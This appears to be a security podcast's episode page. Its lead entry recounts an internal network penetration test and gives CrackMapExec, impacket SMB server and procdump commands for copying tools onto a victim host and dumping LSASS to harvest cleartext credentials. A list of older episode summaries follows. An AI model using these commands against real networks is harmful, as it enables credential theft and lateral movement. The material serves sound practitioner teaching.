7MS #383: Tales of Internal Network Pentest Pwnage - Part 10

7MS #383: Tales of Internal Network Pentest Pwnage - Part 10

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This episode is a "sequel" of sorts to part 9 where I was helping another company tag-team an internal network pentest. (In announcer voice) "When we last left our heroes we had..."

  • Relayed one high-priv cred from one box to another
  • Dumped and cracked a local machine's hash
  • Passed that hash around the network
  • Found (via Bloodhound) some high value targets we wanted to grab domain admin creds from
  • Set the wdigest flag via CrackMapExec

Today, we talk about how we came back to the pentest a few days later and scripted the procdump/lsass operation to (hopefully) grab cleartext credentials from these high value targets. Here's how we did it:

mkdir /share wget https://live.sysinternals.com/procdump64.exe screen -R smb /opt/impacket/examples/smbserver.py -smb2support share /share

Then, we ran the following CME commands to copy procdump over to the victim machine, create the dump, take the dump, then delete procdump.exe:

crackmapexec smb 192.168.55.220 -u Administrator -p 'Winter2018!' --local-auth --exec-method smbexec -x 'copy "\\192.168.55.60\share\procdump64.exe" "c:\users\public\procdump64.exe"' (more on today's episode show notes)

Jaksot(683)

7MS #90: OFFTOPIC-Citizenfour

7MS #90: OFFTOPIC-Citizenfour

We're going offtopic today and talking about the Citizen Four documentary, which centers around the Edward Snowden story.

1 Syys 20158min

7MS #89: AppSpider

7MS #89: AppSpider

Today we're talking about a new (to me) Web site/app scanning tool called AppSpider by Rapid7. Again, this isn't a commercial or paid advertisement. I just like sharing things that I like and use.

27 Elo 20158min

7MS #88: Glasswire

7MS #88: Glasswire

This episode's about a cool security app called GlassWire, which is (kind of) a firewall on steroids. I love it! Oh, and this is not an endorsement or a commercial :-)

25 Elo 20156min

7MS #87: Presenting the Right Findings to the Right Audience

7MS #87: Presenting the Right Findings to the Right Audience

Today I talk about challenge I run into when I'm delivering to a mixed audience of C-level folks and IT people. How do you keep things high level enough so everybody "gets it" but also go level enough that the recommendations have some teeth?

20 Elo 20157min

7MS #86: OSWP-The Final Chapter!

7MS #86: OSWP-The Final Chapter!

This episode concludes the gripping, thrilling, exciting, awesome-ing, death-defying, unsettling, rattling series on OSWP (Offensive Security Wireless Professional). Specifically, I talk (as much as I can without getting into trouble) about the exam and give you some pointers to pass it!

18 Elo 20157min

7MS #85: What is The Penetration Testers Framework (PTF)?

7MS #85: What is The Penetration Testers Framework (PTF)?

Need an easy way to create a modular/mobile kit of pentest tools to take with you from machine to machine? And ALSO be able to update all those modules in one command? Then check out the PTF! That's what we're talkin' about on today's podcast.

14 Elo 20157min

7MS #84: DIY Pwn Pad

7MS #84: DIY Pwn Pad

Hey have you heard of Pwn Pads? They're an awesome network pentesting tool that leverages a Nexus tablet - which you can either buy right from Pwnie Express, or create your own if you have a certain model of Nexus lying around. I just happened to have the right Nexus model around, so this podcast episode chronicles my trial and error (mostly error) in making a DIY Pwn Pad! P.S. to get the Android tools installed on Ubuntu 14.04, run these commands: -- sudo add-apt-repository ppa:nilarimogard/webupd8 sudo apt-get update sudo apt-get install android-tools-adb android-tools-fastboot --

12 Elo 20157min

7MS #83: Wifi Pineapple First Impressions

7MS #83: Wifi Pineapple First Impressions

in this episode I talk about my first hands-on experience with a Wifi Pineapple, and why you'll probably want one too.

6 Elo 20158min

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